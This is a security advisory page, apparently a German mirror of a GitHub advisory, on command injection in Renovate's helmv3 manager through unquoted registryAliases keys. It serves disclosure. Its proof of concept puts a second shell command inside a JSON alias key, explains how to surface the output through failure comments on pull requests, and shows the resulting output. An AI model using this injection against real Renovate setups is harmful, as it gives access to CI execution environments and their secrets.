Mittel

Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases

  • Veröffentlicht: 23.04.2024
  • Aktualisiert: 11.10.2026 10:22

Summary

Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.

Details

Since #26848, registryAliases has become mergeable. This means that the helmv3 manager started honoring its value and uses a helm repo add <key> <parameters> command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80 The key was not quoted, leading to the ability to use variable references ($FOO) in it and have them printed by Renovate on the pull request, or even running any shell commands.

PoC

Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:

test-chart/Chart.yaml:

apiVersion: v2
name: redis
version: 1.0.0
dependencies:
  - name: redis
    version: 18.13.10
    repository: oci://registry-1.docker.io/bitnamicharts

test-chart/Chart.lock:

dependencies:
- name: redis
  repository: oci://registry-1.docker.io/bitnamicharts
  version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"

Then add the following renovate.json:

js
{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:base"
  ],
  "registryAliases": {
    "foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
  }
}

Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:

File name: test-chart/Chart.lock

Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments

Usage:  helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

This shows that the ls command executed successfully, and we can even see its output.

Note that redirecting any output you want to see to stderr (>&2) and making sure the final command fails (exit 1) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.

Impact

All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket renovate >= 37.158.0, < 37.199.0 37.199.0

Verweise

CVSS-Wert 5.4/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Schwäche (CWE)
CWE-78
Plattform
npm
Paket
renovate
Veröffentlicht
23.04.2024
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-rqgv-292v-5qgr - CC BY 4.0

Schwachstellenhistorie: renovate

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (11) im Archiv
Einträge insgesamt
11
Erste → letzte
10.2019 04.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Mittel 11

Veröffentlichungen pro Jahr

  1. 2019: 1
  2. 2020: 1
  3. 2021: 0
  4. 2022: 0
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 8
Schweregrad:
  1. Mittel · 5.5 CVE-2026-76227 >= 42.68.1, < 42.96.3, >= 43.0.0, < 43.4.4 42.96.3, 43.4.4
  2. Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases dieser Eintrag
    Mittel · 5.4 CVE-2024-58376 >= 37.158.0, < 37.199.0 37.199.0
  3. Mittel CVE-2020-37267 >= 19.180.0, < 23.25.1 23.25.1
  4. Mittel · 5.3 CVE-2019-25766 >= 13.87.0, < 19.38.7 19.38.7

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.